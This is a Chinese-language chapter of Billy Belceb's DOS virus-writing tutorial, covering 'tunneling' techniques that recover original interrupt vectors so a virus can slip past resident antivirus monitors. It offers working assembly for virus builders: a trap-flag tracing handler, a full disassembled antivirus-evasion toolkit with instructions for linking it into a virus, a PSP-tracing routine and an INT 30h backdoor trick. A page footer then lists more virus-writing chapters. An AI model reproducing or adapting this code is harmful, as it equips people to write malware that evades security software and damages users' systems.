Billy Belceb病毒編寫教程(DOS篇)---Tunneling
【Tunneling】
~~~~~~~~~~~
我們稱tunneling為一類操作,這類操作獲得任何中斷的原始中斷向量,這些中斷是所有關於INT 21h的所有時間的中斷。由此可見,並不是所有的操作都可以稱作tunneling(如,後門backdoors),但是我們也會在這篇文章裡面討論到。
Tunneling是為避開TSR監視程式而開發的。這種型別的反病毒對普通使用者來說是不可理解的(什麼話!),因為他們被告知了鉤住中斷,開啟可執行檔案,和一個病毒通常會做的事情的企圖。這種方法用上述的方法(反探索)確實很難對付了,因為它們不搜尋一些位元,它們僅僅鉤住和控制重要的中斷(21h,13h...)
最普遍的TSR監視程式是Flintstones的VSAFE,VSHIELD...我們的目標是獲得原始的中斷向量但是...怎麼來實現呢?你有很多個選擇。
%跟蹤%
~~~~~~
這可能是最常用的方法之一,但也是很不安全的方法。是的,這種型別的tunneling是非常脆弱的,而且如果你仔細地看看下面的論述,你會知道為什麼是非常脆弱的:)
有一個標誌,叫做陷阱標誌Trap Flag(通常縮寫為TF),如果被啟用,用來把處理器切換到單步執行模式。單步執行模式就是偵錯程式用來一步一步的執行指令的,當然我們可以用來滿足我們的需要啦:)
一個指令每執行一次,TF就會被啟用,INT 1將會被呼叫,所以這次是我們的啦:)但是沒有一個啟用它的指令,所以我們必須對標誌處理。讓我們看看我們怎樣啟用TF的:
pushf ; Push flags to stack
pop ax ; And put them into AX for play
or ax, 100h ; We activate the TF at this point
push ax ; We must push AX...
popf ; for restore our preety flags :)
利用這些簡單的程式碼,你已經啟用了陷阱標誌。我忘了給出所有標誌了,下面給出:
Position 0F 0E 0D 0C 0B 0A 09 08 07 06 05 04 03 02 01 00
Flags -- -- -- -- OF DF IF TF SF ZF -- AF -- PF -- CF
正如你所看到的,這些標誌是在一個16位的暫存器裡面。下面給出標誌列表及所代表的意義:
CF : Carry Flag Indicates an arithmetic carry
PF : Parity Flag Indicates an even number of 1 bits
AF : Auxilary Flag Indicates adjustment needed in BCD numbers
ZF : Zero Flag Indicates a zero result, or equal comparison
SF : Sign Flag Indicates negative result/comparison
TF : Trap Flag Controls Single Step operation
IF : Interrupt Flag Controls whether interrupts are enabled
DF : Direction Flag Controls increment direction on string regs.
OF : Overflow Flag Indicates signed arithmetic overflow
讓我們記住關於中斷的一些東西。每次我們呼叫一箇中斷,在堆疊裡是6個位元組:標誌和CS:IP。你必須記住這一點,因為我們必須要呼叫INT 21h,然後跟蹤它的程式碼。如果呼叫之後CS(在堆疊中)等於當我們請求的中斷向量DOS已經給我們的值,那麼這個中斷就是正常的中斷。實現tunneling的簡單的例程如下:
int01handler:
push bp
mov bp, sp
push dx
mov dx, word ptr cs:[dossegment]
cmp [bp+6], dx
jz found
pop dx
pop bp
iret
found:
mov dx, [bp+6]
mov word ptr cs:[int21_seg], dx
mov dx, [bp+4]
mov word ptr cs:[int21_off], dx
pop dx
pop bp
add sp, 6
[...]
但是這種型別的tunneling,正如我在開始解釋的時候所說的,有很多弱點。我們不保護POPF,PUSHF,CLI和TF的釋放,因為我們要真正地執行這個程式碼。
如果病毒查殺工具重定向INT 21h給另外一箇中斷,我們又要受挫了。正如你能看到地,這個跟蹤不安全。
好了,我們可以透過檢查一些程式碼來解決一些問題,如PUSHF和POF,為了不使蹩腳者釋放TF。無論如何,跟蹤不是最好的選擇...
%位元組到位元組(byte-to-byte)%
~~~~~~~~~~~~~~~~~~~~~~~~
最流行(僅有的一個)的源程式是Khntark Recursive Tunneling Toolkit ( 即 KRTT )。它使用的方法是對中斷處理程式中的所有操作碼做比較,為了判斷它是否為CALL,CALL FAR,JUMP FAR,和JUMP OFF:SEG,然後獲得這個值作為INT 21h。讓我們看看KRTT41包中的KRTT41.OBJ這個檔案的徹底反彙編,它是這個工具的核心。
;----從這裡開始剪下-------------------------------------------------------
; Khntark Recursive Tunneling Toolkit 4.1 (c) 1993 by KhntarK
; 反彙編 Billy Belceb?DDT
;
; 輸入:
; BP : 01 Searches for INT 2Ah handler
; BP : 02 Searches for INT 13h handler
; BP : another value Searches for INT 21h handler
; 輸出:
; AH : 00 Not found
; AH : 01 Found!
; AH : 02 Int 21h / 2Ah / 13h Not Hooked
; AH : 03 DOS internal interrupts are hooked
; 如果找到:
; DX DOS INT 21h / 2Ah / 13h SEGMENT
; DI INT 21h / 2Ah / 13h OFFSET
; AL RECURSION DEPT
; DESTROYED:
; AX,BX,CX,DX,DI,BP,ES
;
; 彙編:
; TASM KRTT41.ASM
; TLINK <virus name> KRTT41.OBJ
;
; Call TUNNEL for make tunneling
;
; 宣告: 這是我第一次試著反彙編一些東西,所以如果有大的錯誤,原諒我:)
; 這不是我的工作...
.model tiny
.code
public tunnel
tunnel:
cli ; Disable interrupts for tunneling
xor ax,ax
mov es,ax ; Make ES = 0 for get IVT
xor di,di
mov dx,es:[00AEh] ; Checks for assure tunneling
mov cx,es:[00A2h] ; INT 26h =! INT 28h
cmp dx,cx
jz check
mov cx,es:[00B2h] ; INT 26h =! INT 28h =! INT 2Ch
cmp dx,cx
jz check
mov ah,03 ; Checks failed : DOS ints are hooked
ret
check:
cmp bp,01h ; BP=1 Hook INT 2Ah
jz int2A
cmp bp,02h ; BP=2 Hook INT 13h
jz int13
int21:
mov bx,es:[0084h] ; BP=Other Hook INT 21h
mov es,es:[0086h]
jmp go4it
int13:
mov bx,es:[004Ch] ; Get INT 13h vectors from the IVT to
mov es,es:[004Eh] ; ES:BX
mov bp,es
mov dx,0070h
cmp bp,dx
jz nothooked
jmp letstunnelit
int2A:
mov bx,es:[00A8h] ; Get INT 13h vectors from the IVT to
mov es,es:[00AAh] ; ES:BX
go4it:
mov bp,es
cmp dx,bp
jnz letstunnelit
nothooked:
xchg bx,di
mov ah,02h ; INT not hooked *yeah* ;)
ret
letstunnelit:
call main_body ; Go and tunnel it
sti
ret
main_body:
push es
push bx
cmp al,07h ; Check for recursion
jz exit
cmp ah,01h ; Found ?
jz exit
inc al
mov cx,0FFFAh
sub cx,bx
main_loop:
push bx
cmp byte ptr es:[bx],0E8h ; Is OpCode a CALL ?
jz callsig16
cmp byte ptr es:[bx],0EAh ; Is it a JUMP OFFSET:SEGMENT ?
jz far_stuff
cmp byte ptr es:[bx],09Ah ; Is it a CALL FAR ?
jz far_stuff
cmp byte ptr es:[bx],02Eh ; A Segment Override CS maybe ? :P
jnz jmpfar
cmp byte ptr es:[bx+01],0FFh ; A JUMP FAR ?
jnz jmpfar
cmp byte ptr es:[bx+02],01Eh ; PUSH DS ?
jz far_stuff2
cmp byte ptr es:[bx+02],02Eh ; CS ? ( again )
jnz jmpfar
far_stuff2:
mov bp,es:[bx+03]
dec bp
xchg bx,bp
jmp far_stuff
jmpfar:
pop bx
cmp ah,01h ; Found ?
jz exit
cmp al,07h ; Check for recursion
jz exit
inc bx
loop main_loop ; And loop it
callsig16:
pop bx
add bx,03h
loop main_loop
exit:
pop bx
pop es
ret
far_stuff:
pop bp
add bp,04h
push bp
cmp es:[bx+03],dx
jz found
cmp word ptr es:[bx+03],00h
jz jmpfar
push es
pop bp
cmp es:[bx+03],bp
jz jmpfar
mov bp,bx
mov bx,es:[bx+01] ; Where it points
mov es,es:[bp+03]
call main_body
jmp jmpfar
found:
mov di,es:[bx+01]
mov ah,01 ; INT 21 found
jmp jmpfar
end tunnel
;----到這裡結束------------------------------------------------------------
如果你想要完全的包,可以搜尋,它很容易找到的,但是KRTT不是很安全。也許你很惱怒。Tunneling看起來是一項非常不安全和脆弱的技術。這只是在這些老技術裡才會發生。如果控制權是由另外一個不是我們的程式的指令返回的時候,KRTT就會受挫了。利用一個條件jump或者RETF很容易呼叫INT 21h,這對我們不好。而且這個必定是遞迴的,顯而易見。
%PSP跟蹤%
~~~~~~~~~
如果你還記得那個非常重要的結構PSP,並看過了關於offset 0005的描述,你將會想..."利用FAR CALL來呼叫INT 21該是多痛苦啊!"PSP的這個offset已經相當過時了,它只是為了對非常老的程式相容而保留的。但是它包含了非常有趣的資料,如INT 21h指派。INT 21h指派不是INT 21h處理程式,不要忘記這一點。正如Satan的Little Helper所說的,offset PSP:6能直接指向排程,或者不直接指向,這需要一些對第一種情況的雙nop呼叫處理。
下面的例程來自VLAD#3(很強的一個組織!),Satan's Little Helper寫的文章,介紹了利用PSP來獲得INT 21h地址的方法。
;-----從這裡開始剪下-------------------------------------------------------
; PSP tracing routine by Satan's Little Helper
; Published in VLAD#3
;
; INPUT:
; DS PSP segment
; OUTPUT:
; DS:BX INT 21h address
; CF 0
; if tunnel failed:
; DS:BX 0000:0000
; CF 1
psp_trace:
lds bx,ds:[0006h] ; a pointer to dispatch handler
trace_next:
cmp byte ptr ds:[bx],0EAh ; JMP SEG:OFF ?
jnz check_dispatch
lds bx,ds:[bx+1] ; point to the SEGMENT:OFFSET
cmp word ptr ds:[bx],9090h
jnz trace_next
sub bx,32h ; 32h byte offset from dispatch
; handler
cmp word ptr ds:[bx],9090h ; If all is OK, INT 21h has this
jnz check_dispatch ; signature ( 2 NOPs )
good_search:
clc
ret
check_dispatch:
cmp word ptr ds:[bx],2E1Eh ; PUSH DS, CS: ( prefix )
jnz bad_exit
add bx,25h
cmp word ptr ds:[bx],80FAh ; CLI, PUSH AX
jz good_search
bad_exit:
stc
ret
;-----到這裡為止剪下-------------------------------------------------------
相當簡單而有效。試試看!而且,利用PSP跟蹤的框架,我們可以使用另外一個方法,INT 30h的後門。
PSP跟蹤比普通跟蹤更好,因為在第二個裡面我們不知道我們是否正在執行一個病毒查殺工具的程式碼,而使用PSP就不會發生了。
%INT 30h 後門%
~~~~~~~~~~~~~~
如果你看懂了上面的技術,這就非常簡單了。INT 30h有跳轉到排程的程式碼,所以我們可以如下寫程式碼:
xor bx,bx
mov ds,bx
mov bl,0C0h ; INT 30h offset in IVT
jmp trace_next
記住當在Windows環境下,INT 30h用來實現另外一個目的,一定要注意,但是那又是另一段歷史了:)
%程式碼模擬(Code Emulators)%
~~~~~~~~~~
我現在還能記住的第一篇文章是Methyl[IR/G]以前寫的一篇文章,發表在IR#8(IRG#1?)。這個小教程不象Methyl的,我沒有太多的空間(這篇教程正越來越大),所以這篇教程是100%理論的。但是,不要放棄,它很容易理解。對我來說,模擬看起來是對老的byte-to-byte掃描的改進,但更先進和安全了。我不是說它們完全等價。byte-to-byte掃描僅僅對操作碼作比較,而模擬就象指令執行的時候那樣做的事情:模擬遵循原程式的流程,有假的跳轉,函式呼叫...用這種方法,它所有可能的INT 21h跳轉,這是我們所需要的。OK,這個是概念。如果你想知道更多的東西,我建議你下載IR#8,看看Methyl的教程。那是個很好的雜誌,所以祝你好運!
%高階tunneling%
~~~~~~~~~~~~~~~
啊...還是那句話:我不想使你的頭腦因為太多的知識而爆炸。現在有更安全、更酷、更新...的技術,但是它們都太難了,而且在這篇文章裡介紹它們的實現將在你的硬碟上佔用太多的空間:)
相關文章
- Billy Belceb病毒編寫教程(DOS篇)---Anti-tunneling2015-11-15
- Billy Belceb病毒編寫教程DOS篇---宣告2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---加密2015-11-15加密
- Billy Belceb病毒編寫教程(DOS篇)---附錄2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---隱蔽(Stealth)2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---優化(Optimization)2015-11-15優化
- Billy Belceb病毒編寫教程(DOS篇)---病毒編寫所需的軟體2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---多型(polymorphism)2015-11-15多型
- Billy Belceb病毒編寫教程(DOS篇)---駐留記憶體病毒2015-11-15記憶體
- Billy Belceb病毒編寫教程(DOS篇)反探索(Anti-Heuristics)2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)有用的結構體2015-11-15結構體
- Billy Belceb病毒編寫教程(DOS篇)---保護你的程式碼2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)一些重要的理論2015-11-15
- Billy Belceb 病毒編寫教程for Win32 ----附錄2004-05-28Win32
- [翻譯]Billy
Belceb 病毒編寫教程for Win32----- 宣告2004-05-28Win32
- Billy Belceb 病毒編寫教程for Win32 ----PE檔案頭2015-11-15Win32
- Billy Belceb 病毒編寫教程for Win32 ----簡單介紹2015-11-15Win32
- Billy Belceb 病毒編寫教程for Win32 ----Per-Process?residency2004-05-28Win32IDE
- Billy Belceb 病毒編寫教程for Win32 ----Win32優化2004-05-28Win32優化
- Billy Belceb 病毒編寫教程for Win32 ----Win32多型2004-05-28Win32多型
- [翻譯]Billy Belceb 病毒編寫教程for Win32 ----病毒編寫中的有用的東西2004-05-28Win32
- Billy Belceb 病毒編寫教程for Win32 ----Win32 反除錯2004-05-28Win32除錯
- Billy Belceb 病毒編寫教程for Win32 ----高階Win32技術2004-05-28Win32
- Billy Belceb 病毒編寫教程for Win32 ----Ring-0,系統級編碼2004-05-28Win32
- Billy Belceb 病毒編寫教程for Win32 ----Ring-3,使用者級編碼2015-11-15Win32
- 技能篇:shell教程及指令碼編寫2021-06-16指令碼
- 用匯編編寫DOS下的記憶體駐留程式(5) (轉)2007-12-05記憶體
- 用匯編編寫DOS下的記憶體駐留程式(3) (轉)2007-08-15記憶體
- 用匯編編寫DOS下的記憶體駐留程式(4) (轉)2007-08-15記憶體
- Golang 編寫測試教程2019-02-28Golang
- 【ROS教程】編寫launch檔案2024-08-30ROS
- Qealler - 一個用Java編寫的惡意病毒軟體2019-02-08Java
- Xamarin iOS教程之編輯介面編寫程式碼2015-06-11iOS
- UltraEdit文字編輯器編寫強大的宏教程2021-03-10
- Unity3D編輯器外掛編寫教程2013-01-29Unity3D
- IP in IP tunneling2014-11-04
- 寫了一篇 Elasticsearch 的配置教程2020-07-10Elasticsearch
- Node腳手架編寫初學者教程2017-06-26